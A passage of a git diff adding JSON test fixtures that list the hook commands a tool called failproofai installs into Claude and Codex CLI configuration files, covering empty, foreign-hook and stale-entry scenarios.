[ + { + "type": "command", + "command": "npx -y failproofai --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/claude-user.json b/__tests__/fixtures/config-templates/claude-user.json new file mode 100644 index 000000000..b9d8c4152 --- /dev/null +++ b/__tests__/fixtures/config-templates/claude-user.json @@ -0,0 +1,1037 @@ +{ + "cli": "claude", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionDenied": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionDenied", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUseFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUseFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStart", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCreated": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCreated", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TaskCompleted": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TaskCompleted", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "StopFailure": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook StopFailure", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "TeammateIdle": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook TeammateIdle", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "InstructionsLoaded": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook InstructionsLoaded", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ConfigChange": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ConfigChange", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "CwdChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook CwdChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "FileChanged": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook FileChanged", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "WorktreeRemove": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook WorktreeRemove", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostCompact", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Elicitation": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Elicitation", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "ElicitationResult": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook ElicitationResult", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptExpansion": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptExpansion", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolBatch": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolBatch", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Setup": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Setup", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/codex-project.json b/__tests__/fixtures/config-templates/codex-project.json new file mode 100644 index 000000000..3921cb0dc --- /dev/null +++ b/__tests__/fixtures/config-templates/codex-project.json @@ -0,0 +1,401 @@ +{ + "cli": "codex", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/codex-user.json b/__tests__/fixtures/config-templates/codex-user.json new file mode 100644 index 000000000..c04712115 --- /dev/null +++ b/__tests__/fixtures/config-templates/codex-user.json @@ -0,0 +1,401 @@ +{ + "cli": "codex", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook session_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook permission_request --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_tool_use --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook user_prompt_submit --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_start --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook pre_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook post_compact --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagent_stop --cli codex", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + 